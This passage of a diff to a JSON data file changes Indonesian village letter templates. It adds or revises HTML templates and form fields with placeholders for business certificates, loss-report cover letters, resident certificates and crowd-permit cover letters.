\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n14.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] sampai dengan [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas, yang memiliki usaha [Form_nama_usaha].

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { - "sumber": 1, "data": [ "1" ], "sex": "", "status_dasar": [ "1" + ] + } + }, + "kode_isian": [ + { + "tipe": "text", + "kode": "[form_nama_usaha]", + "nama": "Nama Usaha", + "deskripsi": "Masukkan Nama \/ Jenis usaha", + "atribut": "", + "required": "1" + }, + { + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", + "atribut": "", + "required": "1" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Pengantar Laporan Kehilangan", + "url_surat": "surat-pengantar-laporan-kehilangan", + "kode_surat": "S-13", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

Orang tersebut telah datang kepada kami untuk melapor dan mengaku telah kehilangan [Form_nama_barang] sebagai berikut:<\/p>\r\n\r\n\r\n\r\n\r\n
<\/td>\r\nRincian<\/td>\r\n:<\/td>\r\n[Form_rincian]<\/td>\r\n<\/tr>\r\n
<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, + "form_isian": { + "individu": { + "data": [ + "1" ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "sex": "", + "status_dasar": [ + "1" + ] + } + }, + "kode_isian": [ + { + "tipe": "text", + "kode": "[form_nama_barang]", + "nama": "Nama Barang", + "deskripsi": "Masukkan Nama Barang Yang Hilang", + "atribut": "", + "required": "1" + }, + { + "tipe": "textarea", + "kode": "[form_rincian]", + "nama": "Rincian", + "deskripsi": "Masukkan Rincian", + "atribut": "", + "required": "1" + }, + { + "tipe": "textarea", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Masukkan Keterangan", + "atribut": "", + "required": "1" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Pengantar", + "url_surat": "surat-keterangan-pengantar", + "kode_surat": "S-01", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.

<\/td>\r\n
Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n <\/td>\r\n <\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nMohon keterangan yang akan dipegunakan untuk [Form_keperluan].<\/td>\r\n<\/tr>\r\n
<\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n12.<\/td>\r\nGolongan Darah<\/td>\r\n:<\/td>\r\n[GOl_darah]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, + "form_isian": { + "individu": { + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ] + } + }, + "kode_isian": [ + { + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", + "atribut": "", + "required": "1" + }, + { + "tipe": "textarea", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Masukkan Keterangan", + "atribut": "", + "required": "1" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Penduduk", + "url_surat": "surat-keterangan-penduduk", + "kode_surat": "S-02", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.

<\/td>\r\n
Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nMohon keterangan yang akan dipegunakan untuk [Form_keperluan].<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar-benar penduduk [SeButan_desa] kami dan ada istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[NAma]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nMengetahui,<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
[qr_code]<\/td>\r\n


<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
..............................................<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" ], + "kk_level": null, "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Utama", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, "kode_isian": [ - { - "tipe": "text", - "kode": "[form_penghasilan_ayah]", - "nama": "Penghasilan Ayah", - "deskripsi": "Isi Jumlah Penghasilan Ayah Perbulan", - "required": "0", - "atribut": "class=\" rupiah\"", - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "", - "kaitkan_kode": "" - }, { "tipe": "textarea", "kode": "[form_keperluan]", "nama": "Keperluan", - "deskripsi": "Isi Keperluan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_nama_sekolah]", - "nama": "Nama Sekolah", - "deskripsi": "Isi Nama Sekolah", - "required": "0", + "deskripsi": "Masukkan Keperluan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, @@ -98,21 +230,22 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Pindah Penduduk", - "url_surat": "surat-keterangan-pindah-penduduk", - "kode_surat": "S-04", - "lampiran": "F-1.03,F-1.08,F-1.25,F-1.27", + "nama": "Pengantar Izin Keramaian", + "url_surat": "surat-pengantar-izin-keramaian", + "kode_surat": "S-12", + "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", - "mandiri": false, + "mandiri": true, "masa_berlaku": 1, - "satuan_masa_berlaku": "d", - "qr_code": false, + "satuan_masa_berlaku": "M", + "qr_code": true, "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan \/ cap jempol di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nNo. KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.

<\/td>\r\n
Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Akan pindah dengan keterangan sebagai berikut:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nAlamat yang dituju<\/td>\r\n:<\/td>\r\nRT [Form_rt_tujuaN], RW [Form_rw_tujuaN], [Sebutan_dusun] [Form_dusun_tujuaN], [Sebutan_desa] [Form_desa_atau_kelurahan_tujuan], Kecamatan [Form_kecamatan_tujuan], [Sebutan_kabupaten] [Form_kabupaten_tujuan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nAlasan Pindah<\/td>\r\n:<\/td>\r\n[Form_alasan_pindah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nTanggal Pindah<\/td>\r\n:<\/td>\r\n[Form_tanggal_pindaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nJumlah Pengikut<\/td>\r\n:<\/td>\r\n[Form_jumlah_pengikuT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


[Pengikut_pindaH]<\/p>\r\n

Surat keterangan ini diterbitkan sebagai [Form_keterangaN].<\/p>\r\n

Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat,<\/td>\r\n\u00a0<\/td>\r\n[AtAs_nama]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[Nama]<\/td>\r\n\u00a0<\/td>\r\n[NaMa_pamong]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nip_pamonG]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>\r\n

[qr_code]<\/div>", + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nSebagai pengatar untuk mendapatkan Surat Izin Keramaian berupa [Form_jenis_acarA] mulai tanggal [Mulai_berlaku] sampai dengan [Berlaku_sampai] dengan keperluan [Form_keperluan].<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

Demikian surat keterangan ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -123,124 +256,277 @@ "status_dasar": [ "1" ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], + "kk_level": null, "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Utama", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, "kode_isian": [ { "tipe": "text", - "kode": "[form_telepon_pemohon]", - "nama": "Telepon Pemohon", - "deskripsi": "Telepon Pemohon", + "kode": "[form_jenis_acara]", + "nama": "Jenis Acara", + "deskripsi": "Masukkan Jenis Acara", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" }, { - "tipe": "select-manual", - "kode": "[form_gunakan_format]", - "nama": "Gunakan Format", - "deskripsi": "Pilih Format Lampiran Surat", + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", "required": "1", "atribut": null, - "pilihan": [ - "F-1.08 (pindah pergi)", - "F-1.23, F-1.25, F-1.29, F-1.34 (sesuai tujuan)", - "F-1.03 (pindah datang)", - "F-1.27, F-1.31, F-1.39 (sesuai tujuan)" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", - "kaitkan_kode": "[{\"nilai_isian\":[\"F-1.03 (pindah 